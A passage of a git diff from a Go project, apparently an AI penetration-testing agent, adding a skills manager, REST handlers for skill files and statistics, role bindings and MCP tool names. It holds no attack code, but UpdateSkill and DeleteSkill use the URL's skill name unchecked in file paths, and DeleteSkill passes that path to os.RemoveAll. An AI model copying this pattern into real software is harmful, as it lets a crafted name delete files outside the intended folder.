@@ func (h *AgentHandler) executeBatchQueue(queueID string) { // 应用角色用户提示词和工具配置 finalMessage := task.Message var roleTools []string // 角色配置的工具列表 + var roleSkills []string // 角色配置的skills列表(用于提示AI,但不硬编码内容) if queue.Role != "" && queue.Role != "默认" { if h.config.Roles != nil { if role, exists := h.config.Roles[queue.Role]; exists && role.Enabled { @@ -1112,6 +1142,11 @@ func (h *AgentHandler) executeBatchQueue(queueID string) { roleTools = role.Tools h.logger.Info("使用角色配置的工具列表", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.String("role", queue.Role), zap.Int("toolCount", len(roleTools))) } + // 获取角色配置的skills列表(用于在系统提示词中提示AI,但不硬编码内容) + if len(role.Skills) > 0 { + roleSkills = role.Skills + h.logger.Info("角色配置了skills,将在系统提示词中提示AI", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.String("role", queue.Role), zap.Int("skillCount", len(roleSkills)), zap.Strings("skills", roleSkills)) + } } } } @@ -1144,7 +1179,8 @@ func (h *AgentHandler) executeBatchQueue(queueID string) { // 存储取消函数,以便在取消队列时能够取消当前任务 h.batchTaskManager.SetTaskCancel(queueID, cancel) // 使用队列配置的角色工具列表(如果为空,表示使用所有工具) - result, err := h.agent.AgentLoopWithProgress(ctx, finalMessage, []agent.ChatMessage{}, conversationID, progressCallback, roleTools) + // 注意:skills不会硬编码注入,但会在系统提示词中提示AI这个角色推荐使用哪些skills + result, err := h.agent.AgentLoopWithProgress(ctx, finalMessage, []agent.ChatMessage{}, conversationID, progressCallback, roleTools, roleSkills) // 任务执行完成,清理取消函数 h.batchTaskManager.SetTaskCancel(queueID, nil) cancel() diff --git a/internal/handler/role.go b/internal/handler/role.go index 85411b19..88c42138 100644 --- a/internal/handler/role.go +++ b/internal/handler/role.go @@ -18,9 +18,15 @@ import ( // RoleHandler 角色处理器 type RoleHandler struct { - config *config.Config - configPath string - logger *zap.Logger + config *config.Config + configPath string + logger *zap.Logger + skillsManager SkillsManager // Skills管理器接口(可选) +} + +// SkillsManager Skills管理器接口 +type SkillsManager interface { + ListSkills() ([]string, error) } // NewRoleHandler 创建新的角色处理器 @@ -32,6 +38,34 @@ func NewRoleHandler(cfg *config.Config, configPath string, logger *zap.Logger) * } } +// SetSkillsManager 设置Skills管理器 +func (h *RoleHandler) SetSkillsManager(manager SkillsManager) { + h.skillsManager = manager +} + +// GetSkills 获取所有可用的skills列表 +func (h *RoleHandler) GetSkills(c *gin.Context) { + if h.skillsManager == nil { + c.JSON(http.StatusOK, gin.H{ + "skills": []string{}, + }) + return + } + + skills, err := h.skillsManager.ListSkills() + if err != nil { + h.logger.Warn("获取skills列表失败", zap.Error(err)) + c.JSON(http.StatusOK, gin.H{ + "skills": []string{}, + }) + return + } + + c.JSON(http.StatusOK, gin.H{ + "skills": skills, + }) +} + // GetRoles 获取所有角色 func (h *RoleHandler) GetRoles(c *gin.Context) { if h.config.Roles == nil { diff --git a/internal/handler/skills.go b/internal/handler/skills.go new file mode 100644 index 00000000..9ea67202 --- /dev/null +++ b/internal/handler/skills.go @@ -0,0 +1,778 @@ +package handler + +import ( + "fmt" + "net/http" + "os" + "path/filepath" + "regexp" + "strings" + + "cyberstrike-ai/internal/config" + "cyberstrike-ai/internal/database" + "cyberstrike-ai/internal/skills" + + "github.com/gin-gonic/gin" + "go.uber.org/zap" + "gopkg.in/yaml.v3" +) + +// SkillsHandler Skills处理器 +type SkillsHandler struct { + manager *skills.Manager + config *config.Config + configPath string + logger *zap.Logger + db *database.DB // 数据库连接(用于获取调用统计) +} + +// NewSkillsHandler 创建新的Skills处理器 +func NewSkillsHandler(manager *skills.Manager, cfg *config.Config, configPath string, logger *zap.Logger) *SkillsHandler { + return &SkillsHandler{ + manager: manager, + config: cfg, + configPath: configPath, + logger: logger, + } +} + +// SetDB 设置数据库连接(用于获取调用统计) +func (h *SkillsHandler) SetDB(db *database.DB) { + h.db = db +} + +// GetSkills 获取所有skills列表(支持分页和搜索) +func (h *SkillsHandler) GetSkills(c *gin.Context) { + skillList, err := h.manager.ListSkills() + if err != nil { + h.logger.Error("获取skills列表失败", zap.Error(err)) + c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()}) + return + } + + // 搜索参数 + searchKeyword := strings.TrimSpace(c.Query("search")) + + // 先加载所有skills的详细信息用于搜索过滤 + allSkillsInfo := make([]map[string]interface{}, 0, len(skillList)) + for _, skillName := range skillList { + skill, err := h.manager.LoadSkill(skillName) + if err != nil { + h.logger.Warn("加载skill失败", zap.String("skill", skillName), zap.Error(err)) + continue + } + + // 获取文件信息 + skillPath := skill.Path + skillFile := filepath.Join(skillPath, "SKILL.md") + // 尝试其他可能的文件名 + if _, err := os.Stat(skillFile); os.IsNotExist(err) { + alternatives := []string{ + filepath.Join(skillPath, "skill.md"), + filepath.Join(skillPath, "README.md"), + filepath.Join(skillPath, "readme.md"), + } + for _, alt := range alternatives { + if _, err := os.Stat(alt); err == nil { + skillFile = alt + break + } + } + } + + fileInfo, _ := os.Stat(skillFile) + var fileSize int64 + var modTime string + if fileInfo != nil { + fileSize = fileInfo.Size() + modTime = fileInfo.ModTime().Format("2006-01-02 15:04:05") + } + + skillInfo := map[string]interface{}{ + "name": skill.Name, + "description": skill.Description, + "path": skill.Path, + "file_size": fileSize, + "mod_time": modTime, + } + allSkillsInfo = append(allSkillsInfo, skillInfo) + } + + // 如果有搜索关键词,进行过滤 + filteredSkillsInfo := allSkillsInfo + if searchKeyword != "" { + keywordLower := strings.ToLower(searchKeyword) + filteredSkillsInfo = make([]map[string]interface{}, 0) + for _, skillInfo := range allSkillsInfo { + name := strings.ToLower(fmt.Sprintf("%v", skillInfo["name"])) + description := strings.ToLower(fmt.Sprintf("%v", skillInfo["description"])) + path := strings.ToLower(fmt.Sprintf("%v", skillInfo["path"])) + + if strings.Contains(name, keywordLower) || + strings.Contains(description, keywordLower) || + strings.Contains(path, keywordLower) { + filteredSkillsInfo = append(filteredSkillsInfo, skillInfo) + } + } + } + + // 分页参数 + limit := 20 // 默认每页20条 + offset := 0 + if limitStr := c.Query("limit"); limitStr != "" { + if parsed, err := parseInt(limitStr); err == nil && parsed > 0 { + // 允许更大的limit用于搜索场景,但设置一个合理的上限(10000) + if parsed <= 10000 { + limit = parsed + } else { + limit = 10000 + } + } + } + if offsetStr := c.Query("offset"); offsetStr != "" { + if parsed, err := parseInt(offsetStr); err == nil && parsed >= 0 { + offset = parsed + } + } + + // 计算分页范围 + total := len(filteredSkillsInfo) + start := offset + end := offset + limit + if start > total { + start = total + } + if end > total { + end = total + } + + // 获取当前页的skill列表 + var paginatedSkillsInfo []map[string]interface{} + if start < end { + paginatedSkillsInfo = filteredSkillsInfo[start:end] + } else { + paginatedSkillsInfo = []map[string]interface{}{} + } + + c.JSON(http.StatusOK, gin.H{ + "skills": paginatedSkillsInfo, + "total": total, + "limit": limit, + "offset": offset, + }) +} + +// GetSkill 获取单个skill的详细信息 +func (h *SkillsHandler) GetSkill(c *gin.Context) { + skillName := c.Param("name") + if skillName == "" { + c.JSON(http.StatusBadRequest, gin.H{"error": "skill名称不能为空"}) + return + } + + skill, err := h.manager.LoadSkill(skillName) + if err != nil { + h.logger.Warn("加载skill失败", zap.String("skill", skillName), zap.Error(err)) + c.JSON(http.StatusNotFound, gin.H{"error": "skill不存在: " + err.Error()}) + return + } + + // 获取文件信息 + skillPath := skill.Path + skillFile := filepath.Join(skillPath, "SKILL.md") + if _, err := os.Stat(skillFile); os.IsNotExist(err) { + alternatives := []string{ + filepath.Join(skillPath, "skill.md"), + filepath.Join(skillPath, "README.md"), + filepath.Join(skillPath, "readme.md"), + } + for _, alt := range alternatives { + if _, err := os.Stat(alt); err == nil { + skillFile = alt + break + } + } + } + + fileInfo, _ := os.Stat(skillFile) + var fileSize int64 + var modTime string + if fileInfo != nil { + fileSize = fileInfo.Size() + modTime = fileInfo.ModTime().Format("2006-01-02 15:04:05") + } + + c.JSON(http.StatusOK, gin.H{ + "skill": map[string]interface{}{ + "name": skill.Name, + "description": skill.Description, + "content": skill.Content, + "path": skill.Path, + "file_size": fileSize, + "mod_time": modTime, + }, + }) +} + +// GetSkillBoundRoles 获取绑定指定skill的角色列表 +func (h *SkillsHandler) GetSkillBoundRoles(c *gin.Context) { + skillName := c.Param("name") + if skillName == "" { + c.JSON(http.StatusBadRequest, gin.H{"error": "skill名称不能为空"}) + return + } + + boundRoles := h.getRolesBoundToSkill(skillName) + c.JSON(http.StatusOK, gin.H{ + "skill": skillName, + "bound_roles": boundRoles, + "bound_count": len(boundRoles), + }) +} + +// getRolesBoundToSkill 获取绑定指定skill的角色列表(不修改配置) +func (h *SkillsHandler) getRolesBoundToSkill(skillName string) []string { + if h.config.Roles == nil { + return []string{} + } + + boundRoles := make([]string, 0) + for roleName, role := range h.config.Roles { + // 确保角色名称正确设置 + if role.Name == "" { + role.Name = roleName + } + + // 检查角色的Skills列表中是否包含该skill + if len(role.Skills) > 0 { + for _, skill := range role.Skills { + if skill == skillName { + boundRoles = append(boundRoles, roleName) + break + } + } + } + } + + return boundRoles +} + +// CreateSkill 创建新skill +func (h *SkillsHandler) CreateSkill(c *gin.Context) { + var req struct { + Name string `json:"name" binding:"required"` + Description string `json:"description"` + Content string `json:"content" binding:"required"` + } + + if err := c.ShouldBindJSON(&req); err != nil { + c.JSON(http.StatusBadRequest, gin.H{"error": "无效的请求参数: " + err.Error()}) + return + } + + // 验证skill名称(只允许字母、数字、连字符和下划线) + if !isValidSkillName(req.Name) { + c.JSON(http.StatusBadRequest, gin.H{"error": "skill名称只能包含字母、数字、连字符和下划线"}) + return + } + + // 获取skills目录 + skillsDir := h.config.SkillsDir + if skillsDir == "" { + skillsDir = "skills" + } + configDir := filepath.Dir(h.configPath) + if !filepath.IsAbs(skillsDir) { + skillsDir = filepath.Join(configDir, skillsDir) + } + + // 创建skill目录 + skillDir := filepath.Join(skillsDir, req.Name) + if err := os.MkdirAll(skillDir, 0755); err != nil { + h.logger.Error("创建skill目录失败", zap.String("skill", req.Name), zap.Error(err)) + c.JSON(http.StatusInternalServerError, gin.H{"error": "创建skill目录失败: " + err.Error()}) + return + } + + // 检查是否已存在 + skillFile := filepath.Join(skillDir, "SKILL.md") + if _, err := os.Stat(skillFile); err == nil { + c.JSON(http.StatusBadRequest, gin.H{"error": "skill已存在"}) + return + } + + // 构建SKILL.md内容 + var content strings.Builder + content.WriteString("---\n") + content.WriteString(fmt.Sprintf("name: %s\n", req.Name)) + if req.Description != "" { + // 如果描述包含特殊字符,需要加引号 + desc := req.Description + if strings.Contains(desc, ":") || strings.Contains(desc, "\n") { + desc = fmt.Sprintf(`"%s"`, strings.ReplaceAll(desc, `"`, `\"`)) + } + content.WriteString(fmt.Sprintf("description: %s\n", desc)) + } + content.WriteString("version: 1.0.0\n") + content.WriteString("---\n\n") + content.WriteString(req.Content) + + // 写入文件 + if err := os.WriteFile(skillFile, []byte(content.String()), 0644); err != nil { + h.logger.Error("创建skill文件失败", zap.String("skill", req.Name), zap.Error(err)) + c.JSON(http.StatusInternalServerError, gin.H{"error": "创建skill文件失败: " + err.Error()}) + return + } + + h.logger.Info("创建skill成功", zap.String("skill", req.Name)) + c.JSON(http.StatusOK, gin.H{ + "message": "skill已创建", + "skill": map[string]interface{}{ + "name": req.Name, + "path": skillDir, + }, + }) +} + +// UpdateSkill 更新skill +func (h *SkillsHandler) UpdateSkill(c *gin.Context) { + skillName := c.Param("name") + if skillName == "" { + c.JSON(http.StatusBadRequest, gin.H{"error": "skill名称不能为空"}) + return + } + + var req struct { + Description string `json:"description"` + Content string `json:"content" binding:"required"` + } + + if err := c.ShouldBindJSON(&req); err != nil { + c.JSON(http.StatusBadRequest, gin.H{"error": "无效的请求参数: " + err.Error()}) + return + } + + // 获取skills目录 + skillsDir := h.config.SkillsDir + if skillsDir == "" { + skillsDir = "skills" + } + configDir := filepath.Dir(h.configPath) + if !filepath.IsAbs(skillsDir) { + skillsDir = filepath.Join(configDir, skillsDir) + } + + // 查找skill文件 + skillDir := filepath.Join(skillsDir, skillName) + skillFile := filepath.Join(skillDir, "SKILL.md") + if _, err := os.Stat(skillFile); os.IsNotExist(err) { + alternatives := []string{ + filepath.Join(skillDir, "skill.md"), + filepath.Join(skillDir, "README.md"), + filepath.Join(skillDir, "readme.md"), + } + found := false + for _, alt := range alternatives { + if _, err := os.Stat(alt); err == nil { + skillFile = alt + found = true + break + } + } + if !found { + c.JSON(http.StatusNotFound, gin.H{"error": "skill不存在"}) + return + } + } + + // 读取现有文件以保留front matter中的name + existingContent, err := os.ReadFile(skillFile) + if err != nil { + h.logger.Error("读取skill文件失败", zap.String("skill", skillName), zap.Error(err)) + c.JSON(http.StatusInternalServerError, gin.H{"error": "读取skill文件失败: " + err.Error()}) + return + } + + // 解析现有内容,提取name + existingName := skillName + contentStr := string(existingContent) + if strings.HasPrefix(contentStr, "---") { + parts := strings.SplitN(contentStr, "---", 3) + if len(parts) >= 2 { + frontMatter := parts[1] + lines := strings.Split(frontMatter, "\n") + for _, line := range lines { + line = strings.TrimSpace(line) + if strings.HasPrefix(line, "name:") { + name := strings.TrimSpace(strings.TrimPrefix(line, "name:")) + name = strings.Trim(name, `"'`) + if name != "" { + existingName = name + } + break + } + } + } + } + + // 构建新的SKILL.md内容 + var newContent strings.Builder + newContent.WriteString("---\n") + newContent.WriteString(fmt.Sprintf("name: %s\n", existingName)) + if req.Description != "" { + // 如果描述包含特殊字符,需要加引号 + desc := req.Description + if strings.Contains(desc, ":") || strings.Contains(desc, "\n") { + desc = fmt.Sprintf(`"%s"`, strings.ReplaceAll(desc, `"`, `\"`)) + } + newContent.WriteString(fmt.Sprintf("description: %s\n", desc)) + } + newContent.WriteString("version: 1.0.0\n") + newContent.WriteString("---\n\n") + newContent.WriteString(req.Content) + + // 写入文件(统一使用SKILL.md) + targetFile := filepath.Join(skillDir, "SKILL.md") + if err := os.WriteFile(targetFile, []byte(newContent.String()), 0644); err != nil { + h.logger.Error("更新skill文件失败", zap.String("skill", skillName), zap.Error(err)) + c.JSON(http.StatusInternalServerError, gin.H{"error": "更新skill文件失败: " + err.Error()}) + return + } + + // 如果原文件不是SKILL.md,删除旧文件 + if skillFile != targetFile { + os.Remove(skillFile) + } + + h.logger.Info("更新skill成功", zap.String("skill", skillName)) + c.JSON(http.StatusOK, gin.H{ + "message": "skill已更新", + }) +} + +// DeleteSkill 删除skill +func (h *SkillsHandler) DeleteSkill(c *gin.Context) { + skillName := c.Param("name") + if skillName == "" { + c.JSON(http.StatusBadRequest, gin.H{"error": "skill名称不能为空"}) + return + } + + // 检查是否有角色绑定了该skill,如果有则自动移除绑定 + affectedRoles := h.removeSkillFromRoles(skillName) + if len(affectedRoles) > 0 { + h.logger.Info("从角色中移除skill绑定", + zap.String("skill", skillName), + zap.Strings("roles", affectedRoles)) + } + + // 获取skills目录 + skillsDir := h.config.SkillsDir + if skillsDir == "" { + skillsDir = "skills" + } + configDir := filepath.Dir(h.configPath) + if !filepath.IsAbs(skillsDir) { + skillsDir = filepath.Join(configDir, skillsDir) + } + + // 删除skill目录 + skillDir := filepath.Join(skillsDir, skillName) + if err := os.RemoveAll(skillDir); err != nil { + h.logger.Error("删除skill失败", zap.String("skill", skillName), zap.Error(err)) + c.JSON(http.StatusInternalServerError, gin.H{"error": "删除skill失败: " + err.Error()}) + return + } + + responseMsg := "skill已删除" + if len(affectedRoles) > 0 { + responseMsg = fmt.Sprintf("skill已删除,已自动从 %d 个角色中移除绑定: %s", + len(affectedRoles), strings.Join(affectedRoles, ", ")) + } + + h.logger.Info("删除skill成功", zap.String("skill", skillName)) + c.JSON(http.StatusOK, gin.H{ + "message": responseMsg, + "affected_roles": affectedRoles, + }) +} + +// GetSkillStats 获取skills调用统计信息 +func (h *SkillsHandler) GetSkillStats(c *gin.Context) { + skillList, err := h.manager.ListSkills() + if err != nil { + h.logger.Error("获取skills列表失败", zap.Error(err)) + c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()}) + return + } + + // 获取skills目录 + skillsDir := h.config.SkillsDir + if skillsDir == "" { + skillsDir = "skills" + } + configDir := filepath.Dir(h.configPath) + if !filepath.IsAbs(skillsDir) { + skillsDir = filepath.Join(configDir, skillsDir) + } + + // 从数据库加载调用统计 + var skillStatsMap map[string]*database.SkillStats + if h.db != nil { + dbStats, err := h.db.LoadSkillStats() + if err != nil { + h.logger.Warn("从数据库加载Skills统计信息失败", zap.Error(err)) + skillStatsMap = make(map[string]*database.SkillStats) + } else { + skillStatsMap = dbStats + } + } else { + skillStatsMap = make(map[string]*database.SkillStats) + } + + // 构建统计信息(包含所有skills,即使没有调用记录) + statsList := make([]map[string]interface{}, 0, len(skillList)) + totalCalls := 0 + totalSuccess := 0 + totalFailed := 0 + + for _, skillName := range skillList { + stat, exists := skillStatsMap[skillName] + if !exists { + stat = &database.SkillStats{ + SkillName: skillName, + TotalCalls: 0, + SuccessCalls: 0, + FailedCalls: 0, + } + } + + totalCalls += stat.TotalCalls + totalSuccess += stat.SuccessCalls + totalFailed += stat.FailedCalls + + lastCallTimeStr := "" + if stat.LastCallTime != nil { + lastCallTimeStr = stat.LastCallTime.Format("2006-01-02 15:04:05") + } + + statsList = append(statsList, map[string]interface{}{ + "skill_name": stat.SkillName, + "total_calls": stat.TotalCalls, + "success_calls": stat.SuccessCalls, + "failed_calls": stat.FailedCalls, + "last_call_time": lastCallTimeStr, + }) + } + + c.JSON(http.StatusOK, gin.H{ + "total_skills": len(skillList), + "total_calls": totalCalls, + "total_success": totalSuccess, + "total_failed": totalFailed, + "skills_dir": skillsDir, + "stats": statsList, + }) +} + +// ClearSkillStats 清空所有Skills统计信息 +func (h *SkillsHandler) ClearSkillStats(c *gin.Context) { + if h.db == nil { + c.JSON(http.StatusInternalServerError, gin.H{"error": "数据库连接未配置"}) + return + } + + if err := h.db.ClearSkillStats(); err != nil { + h.logger.Error("清空Skills统计信息失败", zap.Error(err)) + c.JSON(http.StatusInternalServerError, gin.H{"error": "清空统计信息失败: " + err.Error()}) + return + } + + h.logger.Info("已清空所有Skills统计信息") + c.JSON(http.StatusOK, gin.H{ + "message": "已清空所有Skills统计信息", + }) +} + +// ClearSkillStatsByName 清空指定skill的统计信息 +func (h *SkillsHandler) ClearSkillStatsByName(c *gin.Context) { + skillName := c.Param("name") + if skillName == "" { + c.JSON(http.StatusBadRequest, gin.H{"error": "skill名称不能为空"}) + return + } + + if h.db == nil { + c.JSON(http.StatusInternalServerError, gin.H{"error": "数据库连接未配置"}) + return + } + + if err := h.db.ClearSkillStatsByName(skillName); err != nil { + h.logger.Error("清空指定skill统计信息失败", zap.String("skill", skillName), zap.Error(err)) + c.JSON(http.StatusInternalServerError, gin.H{"error": "清空统计信息失败: " + err.Error()}) + return + } + + h.logger.Info("已清空指定skill统计信息", zap.String("skill", skillName)) + c.JSON(http.StatusOK, gin.H{ + "message": fmt.Sprintf("已清空skill '%s' 的统计信息", skillName), + }) +} + +// removeSkillFromRoles 从所有角色中移除指定的skill绑定 +// 返回受影响角色名称列表 +func (h *SkillsHandler) removeSkillFromRoles(skillName string) []string { + if h.config.Roles == nil { + return []string{} + } + + affectedRoles := make([]string, 0) + rolesToUpdate := make(map[string]config.RoleConfig) + + // 遍历所有角色,查找并移除skill绑定 + for roleName, role := range h.config.Roles { + // 确保角色名称正确设置 + if role.Name == "" { + role.Name = roleName + } + + // 检查角色的Skills列表中是否包含要删除的skill + if len(role.Skills) > 0 { + updated := false + newSkills := make([]string, 0, len(role.Skills)) + for _, skill := range role.Skills { + if skill != skillName { + newSkills = append(newSkills, skill) + } else { + updated = true + } + } + if updated { + role.Skills = newSkills + rolesToUpdate[roleName] = role + affectedRoles = append(affectedRoles, roleName) + } + } + } + + // 如果有角色需要更新,保存到文件 + if len(rolesToUpdate) > 0 { + // 更新内存中的配置 + for roleName, role := range rolesToUpdate { + h.config.Roles[roleName] = role + } + // 保存更新后的角色配置到文件 + if err := h.saveRolesConfig(); err != nil { + h.logger.Error("保存角色配置失败", zap.Error(err)) + } + } + + return affectedRoles +} + +// saveRolesConfig 保存角色配置到文件(从SkillsHandler调用) +func (h *SkillsHandler) saveRolesConfig() error { + configDir := filepath.Dir(h.configPath) + rolesDir := h.config.RolesDir + if rolesDir == "" { + rolesDir = "roles" // 默认目录 + } + + // 如果是相对路径,相对于配置文件所在目录 + if !filepath.IsAbs(rolesDir) { + rolesDir = filepath.Join(configDir, rolesDir) + } + + // 确保目录存在 + if err := os.MkdirAll(rolesDir, 0755); err != nil { + return fmt.Errorf("创建角色目录失败: %w", err) + } + + // 保存每个角色到独立的文件 + if h.config.Roles != nil { + for roleName, role := range h.config.Roles { + // 确保角色名称正确设置 + if role.Name == "" { + role.Name = roleName + } + + // 使用角色名称作为文件名(安全化文件名,避免特殊字符) + safeFileName := sanitizeRoleFileName(role.Name) + roleFile := filepath.Join(rolesDir, safeFileName+".yaml") + + // 将角色配置序列化为YAML + roleData, err := yaml.Marshal(&role) + if err != nil { + h.logger.Error("序列化角色配置失败", zap.String("role", roleName), zap.Error(err)) + continue + } + + // 处理icon字段:确保包含\U的icon值被引号包围(YAML需要引号才能正确解析Unicode转义) + roleDataStr := string(roleData) + if role.Icon != "" && strings.HasPrefix(role.Icon, "\\U") { + // 匹配 icon: \UXXXXXXXX 格式(没有引号),排除已经有引号的情况 + re := regexp.MustCompile(`(?m)^(icon:\s+)(\\U[0-9A-F]{8})(\s*)$`) + roleDataStr = re.ReplaceAllString(roleDataStr, `${1}"${2}"${3}`) + roleData = []byte(roleDataStr) + } + + // 写入文件 + if err := os.WriteFile(roleFile, roleData, 0644); err != nil { + h.logger.Error("保存角色配置文件失败", zap.String("role", roleName), zap.String("file", roleFile), zap.Error(err)) + continue + } + + h.logger.Info("角色配置已保存到文件", zap.String("role", roleName), zap.String("file", roleFile)) + } + } + + return nil +} + +// sanitizeRoleFileName 将角色名称转换为安全的文件名 +func sanitizeRoleFileName(name string) string { + // 替换可能不安全的字符 + replacer := map[rune]string{ + '/': "_", + '\\': "_", + ':': "_", + '*': "_", + '?': "_", + '"': "_", + '<': "_", + '>': "_", + '|': "_", + ' ': "_", + } + + var result []rune + for _, r := range name { + if replacement, ok := replacer[r]; ok { + result = append(result, []rune(replacement)...) + } else { + result = append(result, r) + } + } + + fileName := string(result) + // 如果文件名为空,使用默认名称 + if fileName == "" { + fileName = "role" + } + + return fileName +} + +// isValidSkillName 验证skill名称是否有效 +func isValidSkillName(name string) bool { + if name == "" || len(name) > 100 { + return false + } + // 只允许字母、数字、连字符和下划线 + for _, r := range name { + if !((r >= 'a' && r <= 'z') || (r >= 'A' && r <= 'Z') || (r >= '0' && r <= '9') || r == '-' || r == '_') { + return false + } + } + return true +} diff --git a/internal/mcp/builtin/constants.go b/internal/mcp/builtin/constants.go index 3ae41e00..feec7dc3 100644 --- a/internal/mcp/builtin/constants.go +++ b/internal/mcp/builtin/constants.go @@ -9,6 +9,10 @@ const ( // 知识库工具 ToolListKnowledgeRiskTypes = "list_knowledge_risk_types" ToolSearchKnowledgeBase = "search_knowledge_base" + + // Skills工具 + ToolListSkills = "list_skills" + ToolReadSkill = "read_skill" ) // IsBuiltinTool 检查工具名称是否是内置工具 @@ -16,7 +20,9 @@ func IsBuiltinTool(toolName string) bool { switch toolName { case ToolRecordVulnerability, ToolListKnowledgeRiskTypes, - ToolSearchKnowledgeBase: + ToolSearchKnowledgeBase, + ToolListSkills, + ToolReadSkill: return true default: return false @@ -29,5 +35,7 @@ func GetAllBuiltinTools() []string { ToolRecordVulnerability, ToolListKnowledgeRiskTypes, ToolSearchKnowledgeBase, + ToolListSkills, + ToolReadSkill, } } diff --git a/internal/skills/manager.go b/internal/skills/manager.go new file mode 100644 index 00000000..afc36a31 --- /dev/null +++ b/internal/skills/manager.go @@ -0,0 +1,227 @@ +package skills + +import ( + "fmt" + "os" + "path/filepath" + "strings" + + "go.uber.org/zap" +) + +// Manager Skills管理器 +type Manager struct { + skillsDir string + logger *zap.Logger + skills map[string]*Skill // 缓存已加载的skills +} + +// Skill Skill定义 +type Skill struct { + Name string // Skill名称 + Description string // Skill描述 + Content string // Skill内容(从SKILL.md中提取) + Path string // Skill路径 +} + +// NewManager 创建新的Skills管理器 +func NewManager(skillsDir string, logger *zap.Logger) *Manager { + return &Manager{ + skillsDir: skillsDir, + logger: logger, + skills: make(map[string]*Skill), + } +} + +// LoadSkill 加载单个skill +func (m *Manager) LoadSkill(skillName string) (*Skill, error) { + // 检查缓存 + if skill, exists := m.skills[skillName]; exists { + return skill, nil + } + + // 构建skill路径 + skillPath := filepath.Join(m.skillsDir, skillName) + + // 检查目录是否存在 + if _, err := os.Stat(skillPath); os.IsNotExist(err) { + return nil, fmt.Errorf("skill %s not found", skillName) + } + + // 查找SKILL.md文件 + skillFile := filepath.Join(skillPath, "SKILL.md") + if _, err := os.Stat(skillFile); os.IsNotExist(err) { + // 尝试其他可能的文件名 + alternatives := []string{ + filepath.Join(skillPath, "skill.md"), + filepath.Join(skillPath, "README.md"), + filepath.Join(skillPath, "readme.md"), + } + found := false + for _, alt := range alternatives { + if _, err := os.Stat(alt); err == nil { + skillFile = alt + found = true + break + } + } + if !found { + return nil, fmt.Errorf("skill file not found for %s", skillName) + } + } + + // 读取skill文件 + content, err := os.ReadFile(skillFile) + if err != nil { + return nil, fmt.Errorf("failed to read skill file: %w", err) + } + + // 解析skill内容 + skill := m.parseSkillContent(string(content), skillName, skillPath) + + // 缓存skill + m.skills[skillName] = skill + + return skill, nil +} + +// LoadSkills 批量加载skills +func (m *Manager) LoadSkills(skillNames []string) ([]*Skill, error) { + var skills []*Skill + var errors []string + + for _, name := range skillNames { + skill, err := m.LoadSkill(name) + if err != nil { + errors = append(errors, fmt.Sprintf("failed to load skill %s: %v", name, err)) + m.logger.Warn("加载skill失败", zap.String("skill", name), zap.Error(err)) + continue + } + skills = append(skills, skill) + } + + if len(errors) > 0 && len(skills) == 0 { + return nil, fmt.Errorf("failed to load any skills: %s", strings.Join(errors, "; ")) + } + + return skills, nil +} + +// ListSkills 列出所有可用的skills +func (m *Manager) ListSkills() ([]string, error) { + if _, err := os.Stat(m.skillsDir); os.IsNotExist(err) { + return []string{}, nil + } + + entries, err := os.ReadDir(m.skillsDir) + if err != nil { + return nil, fmt.Errorf("failed to read skills directory: %w", err) + } + + var skills []string + for _, entry := range entries { + if !entry.IsDir() { + continue + } + + skillName := entry.Name() + // 检查是否有SKILL.md文件 + skillFile := filepath.Join(m.skillsDir, skillName, "SKILL.md") + if _, err := os.Stat(skillFile); err == nil { + skills = append(skills, skillName) + continue + } + + // 尝试其他可能的文件名 + alternatives := []string{ + filepath.Join(m.skillsDir, skillName, "skill.md"), + filepath.Join(m.skillsDir, skillName, "README.md"), + filepath.Join(m.skillsDir, skillName, "readme.md"), + } + for _, alt := range alternatives { + if _, err := os.Stat(alt); err == nil { + skills = append(skills, skillName) + break + } + } + } + + return skills, nil +} + +// parseSkillContent 解析skill内容 +// 支持YAML front matter格式,类似goskills +func (m *Manager) parseSkillContent(content, skillName, skillPath string) *Skill { + skill := &Skill{ + Name: skillName, + Path: skillPath, + } + + // 检查是否有YAML front matter + if strings.HasPrefix(content, "---") { + parts := strings.SplitN(content, "---", 3) + if len(parts) >= 3 { + // 解析front matter(简单实现,只提取name和description) + frontMatter := parts[1] + lines := strings.Split(frontMatter, "\n") + for _, line := range lines { + line = strings.TrimSpace(line) + if strings.HasPrefix(line, "name:") { + name := strings.TrimSpace(strings.TrimPrefix(line, "name:")) + name = strings.Trim(name, `"'"`) + if name != "" { + skill.Name = name + } + } else if strings.HasPrefix(line, "description:") { + desc := strings.TrimSpace(strings.TrimPrefix(line, "description:")) + desc = strings.Trim(desc, `"'"`) + skill.Description = desc + } + } + // 剩余部分是内容 + if len(parts) == 3 { + skill.Content = strings.TrimSpace(parts[2]) + } + } else { + // 没有front matter,整个内容就是skill内容 + skill.Content = content + } + } else { + // 没有front matter,整个内容就是skill内容 + skill.Content = content + } + + // 如果内容为空,使用描述作为内容 + if skill.Content == "" { + skill.Content = skill.Description + } + + return skill +} + +// GetSkillContent 获取skill的完整内容(用于注入到系统提示词) +func (m *Manager) GetSkillContent(skillNames []string) (string, error) { + skills, err := m.LoadSkills(skillNames) + if err != nil { + return "", err + } + + if len(skills) == 0 { + return "", nil + } + + var builder strings.Builder + builder.WriteString("## 可用Skills\n\n") + builder.WriteString("在执行任务前,请仔细阅读以下skills内容,这些内容包含了相关的专业知识和方法:\n\n") + + for _, skill := range skills { + builder.WriteString(fmt.Sprintf("### Skill: %s\n", skill.Name)) + if skill.Description != "" { + builder.WriteString(fmt.Sprintf("**描述**: %s\n\n", skill.Description)) + } + builder.WriteString(skill.Content) + builder.WriteString("\n\n---\n\n") + } + + return builder.String(), nil +} diff --git a/internal/skills/tool.go b/internal/skills/tool.go new file mode 100644 index 00000000..4b1e9917 --- /dev/null +++ b/internal/skills/tool.go @@ -0,0 +1,201 @@ +package skills + +import ( + "context" + "fmt" + "strings" + "time" + + "cyberstrike-ai/internal/mcp" + "cyberstrike-ai/internal/mcp/builtin" + + "go.uber.org/zap" +) + +// RegisterSkillsTool 注册Skills工具到MCP服务器 +func RegisterSkillsTool( + mcpServer *mcp.Server, + manager *Manager, + logger *zap.Logger, +) { + RegisterSkillsToolWithStorage(mcpServer, manager, nil, logger) +} + +// RegisterSkillsToolWithStorage 注册Skills工具到MCP服务器(带存储支持) +func RegisterSkillsToolWithStorage( + mcpServer *mcp.Server, + manager *Manager, + storage SkillStatsStorage, + logger *zap.Logger, +) { + // 注册第一个工具:获取所有可用的skills列表 + listSkillsTool := mcp.Tool{ + Name: builtin.ToolListSkills, + Description: 